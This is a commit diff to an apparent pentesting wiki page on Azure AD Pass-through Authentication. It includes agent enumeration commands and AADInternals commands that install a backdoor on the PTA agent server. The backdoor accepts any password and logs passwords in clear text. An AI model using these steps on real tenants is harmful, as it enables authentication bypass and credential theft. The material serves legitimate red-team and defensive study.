Skip to content

Commit 9e5d737

Browse files
committed
improvements
1 parent 98d36f0 commit 9e5d737

File tree

1 file changed

+47
-12
lines changed

1 file changed

+47
-12
lines changed

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md

Lines changed: 47 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,9 @@
44

55
## Basic Information
66

7-
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**.
7+
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Microsoft Entra ID, this feature validates users' passwords directly against your on-premises Active Directory.
88

9-
In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS.
9+
In PTA **identities** are **synchronized** but **passwords aren't** like in PHS.
1010

1111
The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC).
1212

@@ -23,23 +23,60 @@ The authentication is validated in the on-prem AD and the communication with clo
2323
> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\
2424
> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key).
2525
26-
### On-Prem -> cloud
26+
### Enumeration
2727

28-
If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
28+
From Entra ID:
2929

3030
```bash
31-
Install-AADIntPTASpy
31+
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
32+
# Example response:
33+
{
34+
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
35+
"value": [
36+
{
37+
"agents": [
38+
{
39+
"externalIp": "20.121.45.57",
40+
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
41+
"machineName": "ConnectSync.hacktricks-con.azure",
42+
"status": "active",
43+
"supportedPublishingTypes": [
44+
"authentication"
45+
]
46+
}
47+
],
48+
"displayName": "Default group for Pass-through Authentication",
49+
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
50+
"isDefault": true,
51+
"publishingType": "authentication"
52+
}
53+
]
54+
}
3255
```
3356

34-
> [!NOTE]
35-
> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
57+
Check if the agent is running in the on-prem server:
58+
59+
```bash
60+
Get-Service -Name "AzureADConnectAuthenticationAgent"
61+
```
62+
63+
## Pivoting
3664

37-
It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
65+
If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
3866

3967
```bash
40-
Get-AADIntPTASpyLog -DecodePasswords
68+
Install-Module AADInternals -RequiredVersion 0.9.3
69+
Import-Module AADInternals
70+
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
71+
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
72+
73+
Remove-AADIntPTASpy # Remove the backdoor
4174
```
4275

76+
> [!NOTE]
77+
> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
78+
79+
4380
This backdoor will:
4481

4582
- Create a hidden folder `C:\PTASpy`
@@ -49,10 +86,8 @@ This backdoor will:
4986
> [!NOTE]
5087
> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed.
5188
52-
### Cloud -> On-Prem
53-
5489
> [!CAUTION]
55-
> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
90+
> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** and can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
5691
5792
### Seamless SSO
5893

0 commit comments

Comments
 (0)